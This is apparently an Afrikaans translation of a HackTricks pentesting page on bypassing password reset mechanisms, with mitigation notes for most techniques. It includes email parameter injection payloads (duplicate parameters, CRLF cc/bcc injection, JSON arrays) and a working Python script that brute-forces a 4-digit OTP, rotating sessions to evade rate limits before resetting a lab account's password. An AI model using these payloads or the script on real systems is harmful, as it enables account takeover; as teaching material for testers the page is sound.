Reset/Forgotten Password Bypass
Reading time: 9 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Wagwoord Herstel Token Lek Via Verwysing
- Die HTTP referer kop kan die wagwoord herstel token lek as dit in die URL ingesluit is. Dit kan gebeur wanneer 'n gebruiker op 'n derdeparty-webwerf skakel na 'n wagwoord herstel versoek.
- Impak: Potensiële rekening oorname via Cross-Site Request Forgery (CSRF) aanvalle.
- Eksploitatie: Om te kontroleer of 'n wagwoord herstel token in die referer kop lek, versoek 'n wagwoord herstel na jou e-posadres en klik op die herstel skakel wat verskaf is. Moet nie jou wagwoord onmiddellik verander nie. In plaas daarvan, navigeer na 'n derdeparty-webwerf (soos Facebook of Twitter) terwyl jy die versoeke met Burp Suite onderskep. Ondersoek die versoeke om te sien of die referer kop die wagwoord herstel token bevat, aangesien dit sensitiewe inligting aan derde partye kan blootstel.
- Verwysings:
- HackerOne Report 342693
- HackerOne Report 272379
- Wagwoord Herstel Token Lek Artikel
Wagwoord Herstel Besmetting
- Aanvallers kan die Host kop manipuleer tydens wagwoord herstel versoeke om die herstel skakel na 'n kwaadwillige webwerf te wys.
- Impak: Lei tot potensiële rekening oorname deur die lek van herstel tokens aan aanvallers.
- Versagtingsstappe:
- Valideer die Host kop teen 'n witlys van toegelate domeine.
- Gebruik veilige, bediener-kant metodes om absolute URL's te genereer.
- Plek: Gebruik
$_SERVER['SERVER_NAME']
om wagwoord herstel URL's te konstrueer in plaas van$_SERVER['HTTP_HOST']
. - Verwysings:
- Acunetix Artikel oor Wagwoord Herstel Besmetting
Wagwoord Herstel Deur Manipulasie van E-pos Parameter
Aanvallers kan die wagwoord herstel versoek manipuleer deur addisionele e-pos parameters by te voeg om die herstel skakel te omlei.
- Voeg aanvaller se e-pos as tweede parameter by met &
php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
- Voeg aanvaller e-pos as tweede parameter by met %20
php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
- Voeg aanvaller e-pos as tweede parameter by gebruik van |
php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
- Voeg die aanvaller se e-pos as tweede parameter by met behulp van cc
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
- Voeg die aanvaller se e-pos as tweede parameter by met bcc
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
- Voeg aanvaller e-pos as tweede parameter by gebruik van ,
php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
- Voeg aanvaller e-pos as tweede parameter in json-array by.
php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}
- Mitigeringstappe:
- Parse en valideer e-posparameters behoorlik aan die bediener-kant.
- Gebruik voorbereide verklarings of geparametriseerde navrae om inspuitaanvalle te voorkom.
- Verwysings:
- https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be
- https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/
- https://twitter.com/HusseiN98D/status/1254888748216655872
Verandering van E-pos en Wagwoord van enige Gebruiker deur API Parameters
- Aanvallers kan e-pos en wagwoordparameters in API-versoeke wysig om rekeninginligting te verander.
php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
- Mitigeringstappe:
- Verseker strikte parametervalidasie en outentikasie kontrole.
- Implementeer robuuste logging en monitering om verdagte aktiwiteite op te spoor en daarop te reageer.
- Verwysing:
- Volledige rekening oorname via API parameter manipulasie
Geen Tariefbeperking: E-pos Bombardering
- Gebrek aan tariefbeperking op wagwoordreset versoeke kan lei tot e-pos bombardering, wat die gebruiker oorweldig met reset e-posse.
- Mitigeringstappe:
- Implementeer tariefbeperking gebaseer op IP-adres of gebruikersrekening.
- Gebruik CAPTCHA-uitdagings om geoutomatiseerde misbruik te voorkom.
- Verwysings:
- HackerOne Verslag 280534
Vind uit hoe Wagwoord Reset Token gegenereer word
- Om die patroon of metode agter token generasie te verstaan, kan lei tot die voorspel of brute-forcing van tokens. Sommige opsies:
- Gebaseer op Tydstempel
- Gebaseer op die GebruikerID
- Gebaseer op e-pos van die gebruiker
- Gebaseer op Voornaam en Van
- Gebaseer op Geboortedatum
- Gebaseer op Kriptografie
- Mitigeringstappe:
- Gebruik sterk, kriptografiese metodes vir token generasie.
- Verseker voldoende ewekansigheid en lengte om voorspelbaarheid te voorkom.
- Gereedskap: Gebruik Burp Sequencer om die ewekansigheid van tokens te analiseer.
Raadbare UUID
- As UUID's (weergawe 1) raadsbaar of voorspelbaar is, kan aanvallers dit brute-force om geldige reset tokens te genereer. Kontroleer:
- Mitigeringstappe:
- Gebruik GUID weergawe 4 vir ewekansigheid of implementeer addisionele sekuriteitsmaatreëls vir ander weergawes.
- Gereedskap: Gebruik guidtool om GUID's te analiseer en te genereer.
Antwoord Manipulasie: Vervang Slegte Antwoord met Goeie Een
- Manipuleer HTTP-antwoorde om foutboodskappe of beperkings te omseil.
- Mitigeringstappe:
- Implementeer bediener-kant kontroles om antwoordintegriteit te verseker.
- Gebruik veilige kommunikasiekanale soos HTTPS om man-in-the-middle aanvalle te voorkom.
- Verwysing:
- Kritieke Fout in Live Bug Bounty Gebeurtenis
Gebruik van Verloop Token
- Toets of verlopen tokens steeds gebruik kan word vir wagwoordreset.
- Mitigeringstappe:
- Implementeer strikte token verloopbeleide en valideer token vervaldatum bediener-kant.
Brute Force Wagwoord Reset Token
- Poging om die reset token te brute-force met gereedskap soos Burpsuite en IP-Rotator om IP-gebaseerde tariefbeperkings te omseil.
- Mitigeringstappe:
- Implementeer robuuste tariefbeperking en rekening sluiting meganismes.
- Monitor vir verdagte aktiwiteite wat dui op brute-force aanvalle.
Probeer om Jou Token te Gebruik
- Toets of 'n aanvaller se reset token gebruik kan word saam met die slagoffer se e-pos.
- Mitigeringstappe:
- Verseker dat tokens aan die gebruikersessie of ander gebruikersspesifieke eienskappe gebind is.
Sessie Ongeldigmaking by Afmelding/Wagwoord Reset
- Verseker dat sessies ongeldig gemaak word wanneer 'n gebruiker afmeld of sy wagwoord reset.
- Mitigeringstappe:
- Implementeer behoorlike sessiebestuur, wat verseker dat alle sessies ongeldig gemaak word by afmelding of wagwoord reset.
Sessie Ongeldigmaking by Afmelding/Wagwoord Reset
- Reset tokens moet 'n vervaldatum hê waarna hulle ongeldig word.
- Mitigeringstappe:
- Stel 'n redelike vervaldatum vir reset tokens in en handhaaf dit streng bediener-kant.
OTP tariefbeperking omseiling deur jou sessie te verander
- As die webwerf 'n gebruikersessie gebruik om verkeerde OTP pogings te volg en die OTP swak was (<= 4 syfers), kan ons effektief die OTP brute-force.
- uitbuiting:
- vra net 'n nuwe sessietoken aan nadat jy deur die bediener geblokkeer is.
- Voorbeeld kode wat hierdie fout uitbuit deur die OTP lukraak te raai (wanneer jy die sessie verander, sal die OTP ook verander, en so sal ons nie in volgorde kan brute-force nie!):
python
# Outentikasie omseiling deur wagwoord reset
# deur coderMohammed
import requests
import random
from time import sleep
headers = {
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
}
url = "http://10.10.12.231:1337/reset_password.php"
logout = "http://10.10.12.231:1337/logout.php"
root = "http://10.10.12.231:1337/"
parms = dict()
ter = 0
phpsessid = ""
print("[+] Begin aanval!")
sleep(3)
print("[+] Dit kan ongeveer 5 minute neem om te voltooi!")
try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # lukrake nommer van 0 - 9999 met 4 d
parms["s"] = 164 # nie belangrik nie, dit beïnvloed net die frontend
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
if ter == 8: # volg aantal pogings
out = requests.get(logout,headers=headers) # log jou uit
mainp = requests.get(root) # kry 'n ander phpssid (token)
cookies = out.cookies # onttrek die sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" #werk die headers met nuwe sessie op
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # stuur die e-pos om die wagwoord te verander vir
ter = 0 # reset ter sodat ons 'n nuwe sessie kry na 8 pogings
else:
ter += 1
if(len(res.text) == 2292): # dit is die lengte van die bladsy wanneer jy die herstelkode korrek kry (gekry deur te toets)
print(len(res.text)) # vir foutopsporing
print(phpsessid)
reset_data = { # hier sal ons die wagwoord na iets nuut verander
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
print("[+] Wagwoord is verander na:D37djkamd!")
break
except Exception as e:
print("[+] Aanval gestop")
Verwysings
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.